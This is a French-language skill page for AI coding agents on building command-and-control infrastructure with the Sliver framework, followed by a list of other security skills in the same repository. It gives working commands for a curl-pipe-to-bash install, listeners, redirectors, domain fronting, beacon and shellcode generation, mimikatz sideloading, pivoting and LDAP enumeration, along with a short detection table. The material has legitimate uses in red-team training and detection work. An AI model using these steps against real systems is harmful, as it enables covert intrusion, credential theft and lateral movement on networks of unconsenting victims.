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Construction d'infrastructure C2 avec le framework Sliver

Déployez et sécurisez un serveur d'équipe Sliver C2 (BishopFox). Ce guide couvre l'installation, la configuration des écouteurs, la mise en place de redirecteurs, la génération d'implantations et les opérations post-exploitation.

Qu'est-ce que Construction d'infrastructure C2 avec le framework Sliver ?

Cette compétence permet de construire une infrastructure C2 robuste et sécurisée en utilisant le framework Sliver de BishopFox. Sliver est un framework d'émulation d'adversaire open-source écrit en Go, offrant des canaux C2 multi-protocoles (mTLS, HTTP/S, DNS, WireGuard), un support multi-opérateurs et des capacités post-exploitation étendues. L'utilisateur apprendra à déployer un serveur d'équipe sur une infrastructure cloud durcie, à configurer des écouteurs pour différentes situations opérationnelles (HTTPS avec certificats SSL, DNS pour contourner les restrictions réseau, mTLS pour les sessions haute sécurité), à mettre en place des redirecteurs NGINX ou Apache pour masquer le serveur d'équipe, à utiliser le domain fronting via Cloudflare pour obscurcir le trafic, et à générer des implantations (beacons asynchrones ou sessions interactives) pour les systèmes cibles. La compétence inclut également des configurations multi-opérateurs avec authentification par certificat, des techniques d'obfuscation du trafic, des stratégies de post-exploitation comme les pivots et l'exécution de BOF (Beacon Object Files), et des indicateurs de détection pour les équipes bleues. Adaptée aux professionnels de la sécurité offensive, cette compétence couvre aussi bien les aspects pratiques (commandes Sliver, configuration NGINX, règles iptables) que stratégiques (opsec, résilience opérationnelle) pour mener des campagnes C2 réalistes en environnement contrôlé.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-infrastructure-with-sliver-framework

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Documentation

Que fait Construction d'infrastructure C2 avec le framework Sliver ?

Aperçu

Sliver est un framework d'émulation d'adversaire open-source, multiplateforme, développé par BishopFox, écrit en Go. Il fournit aux équipes rouges la génération d'implantations, des canaux C2 multi-protocoles (mTLS, HTTP/S, DNS, WireGuard), un support multi-opérateurs et des capacités post-exploitation étendues. Sliver prend en charge les modes beacon (asynchrone) et session (interactif), ce qui le rend adapté à la fois aux opérations à long terme et à l'exploitation interactive. Une infrastructure Sliver bien architecturée utilise des redirecteurs, le domain fronting et des certificats HTTPS pour maintenir la résilience opérationnelle et éviter la détection.

Quand utiliser

  • Lors du déploiement ou de la configuration des capacités d'infrastructure C2 avec le framework Sliver dans votre environnement
  • Lors de l'établissement de contrôles de sécurité alignés sur les exigences de conformité
  • Lors de la construction ou de l'amélioration de l'architecture de sécurité pour ce domaine
  • Lors de la réalisation d'évaluations de sécurité nécessitant cette implémentation

Prérequis

  • Familiarité avec les concepts et outils de l'équipe rouge
  • Accès à un environnement de test ou de laboratoire pour une exécution sécurisée
  • Python 3.8+ avec les dépendances nécessaires installées
  • Autorisation appropriée pour toute activité de test

Objectifs

  • Déployer un serveur d'équipe Sliver sur une infrastructure cloud durcie
  • Configurer les écouteurs HTTPS, mTLS, DNS et WireGuard
  • Générer des implantations (beacons et sessions) pour les plateformes cibles
  • Mettre en place des redirecteurs NGINX ou Apache entre les implantations et le serveur d'équipe
  • Implémenter le domain fronting via Cloudflare ou CDN pour l'obfuscation du trafic
  • Configurer l'accès multi-opérateurs avec authentification par certificat
  • Établir des contrôles de sécurité opérationnelle pour les communications C2

Cartographie MITRE ATT&CK

  • T1071.001 - Protocole de couche application : Protocoles Web
  • T1071.004 - Protocole de couche application : DNS
  • T1573.002 - Canal chiffré : Cryptographie asymétrique
  • T1090.002 - Proxy : Proxy externe (Redirecteurs)
  • T1105 - Transfert d'outil entrant
  • T1132.001 - Encodage des données : Encodage standard
  • T1572 - Tunnel de protocole

Flux de travail

Phase 1 : Déploiement du serveur d'équipe

  1. Provisionner un VPS (par ex. DigitalOcean, Linode, AWS EC2) pour le serveur d'équipe
  2. Durcir l'OS : désactiver l'authentification par mot de passe SSH, configurer UFW/iptables, installer fail2ban
  3. Installer Sliver en utilisant le script d'installation officiel :
    curl https://sliver.sh/install | sudo bash
    
  4. Démarrer le démon du serveur Sliver :
    systemctl start sliver
    # Ou exécuter en mode interactif
    sliver-server
    
  5. Générer les fichiers de configuration des opérateurs pour les membres de l'équipe :
    new-operator --name operator1 --lhost <team-server-ip>
    

Phase 2 : Configuration des écouteurs

  1. Configurer un écouteur HTTPS avec un certificat SSL légitime :
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. Configurer un écouteur DNS pour le C2 de repli :
    dns --domains c2dns.example.com --lport 53
    
  3. Configurer un écouteur mTLS pour les sessions haute sécurité :
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. Configurer un écouteur WireGuard pour l'accès tunnelisé :
    wg --lport 51820
    

Phase 3 : Mise en place du redirecteur

  1. Déployer un VPS séparé comme redirecteur (positionné entre les cibles et le serveur d'équipe)
  2. Installer et configurer NGINX comme proxy inverse :
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. Configurer les règles iptables sur le serveur d'équipe pour n'accepter les connexions que depuis le redirecteur :
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. Optionnellement, configurer Cloudflare comme couche CDN devant le redirecteur pour le domain fronting

Phase 4 : Génération d'implantations

  1. Générer une implantation beacon HTTPS :
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. Générer un beacon DNS pour les réseaux restreints :
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. Générer une charge utile shellcode pour l'injection :
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. Configurer la gigue et les intervalles de rappel du beacon :
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    

Phase 5 : Opérations post-exploitation

  1. Interagir avec les beacons/sessions actifs :
    beacons        # Lister les beacons actifs
    use <beacon-id> # Interagir avec un beacon
    
  2. Exécuter des modules post-exploitation :
    ps              # Liste des processus
    netstat         # Connexions réseau
    execute-assembly /path/to/Seatbelt.exe -group=all  # Exécuter des assemblies .NET
    sideload /path/to/mimikatz.dll  # Charger des DLL
    
  3. Configurer des pivots pour l'accès au réseau interne :
    pivots tcp --bind 0.0.0.0:9898  # Créer un écouteur de pivot sur l'hôte compromis
    
  4. Utiliser des BOF (Beacon Object Files) pour une exécution en mémoire :
    armory install sa-ldapsearch  # Installer depuis l'armurerie
    sa-ldapsearch -- "(objectClass=user)"  # Exécuter BOF
    

Outils et ressources

OutilObjectifPlateforme
Serveur SliverServeur d'équipe C2 et gestion des implantationsLinux/macOS/Windows
Client SliverConsole opérateur pour les membres de l'équipeMultiplateforme
NGINXRedirecteur et proxy inverseLinux
CertbotGénération de certificats SSL Let's EncryptLinux
CloudflareCDN et domain frontingCloud
ArmoryGestionnaire de paquets d'extensions/BOF SliverIntégré

Signatures de détection

IndicateurMéthode de détection
En-têtes HTTP Sliver par défautAnalyse du trafic réseau pour des chaînes User-Agent inhabituelles
mTLS sur des ports non standardsJournaux du pare-feu pour les connexions sortantes vers des ports inhabituels
Requêtes d'enregistrement DNS TXT à haute entropieAnalyse des journaux DNS pour le trafic C2 encodé
Trafic UDP WireGuard sur le port 51820Analyse du flux réseau pour les motifs de handshake WireGuard
Empreintes de fichiers d'implantation SliverCorrespondance des signatures EDR/AV contre des échantillons Sliver connus

Critères de validation

  • Serveur d'équipe déployé et durci avec des règles de pare-feu
  • Écouteur HTTPS configuré avec un certificat SSL valide
  • Écouteur DNS configuré comme canal C2 de repli
  • Au moins un redirecteur déployé entre les cibles et le serveur d'équipe
  • Accès multi-opérateurs configuré avec des certificats uniques
  • Implantations générées pour les systèmes d'exploitation cibles
  • Intervalles de rappel et gigue du beacon configurés pour la furtivité
  • Modules post-exploitation testés (liste des processus, exécution d'assembly .NET)
  • Fonctionnalité de pivot validée pour l'accès au réseau interne
  • Tout le trafic C2 chiffré et passant par les redirecteurs

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

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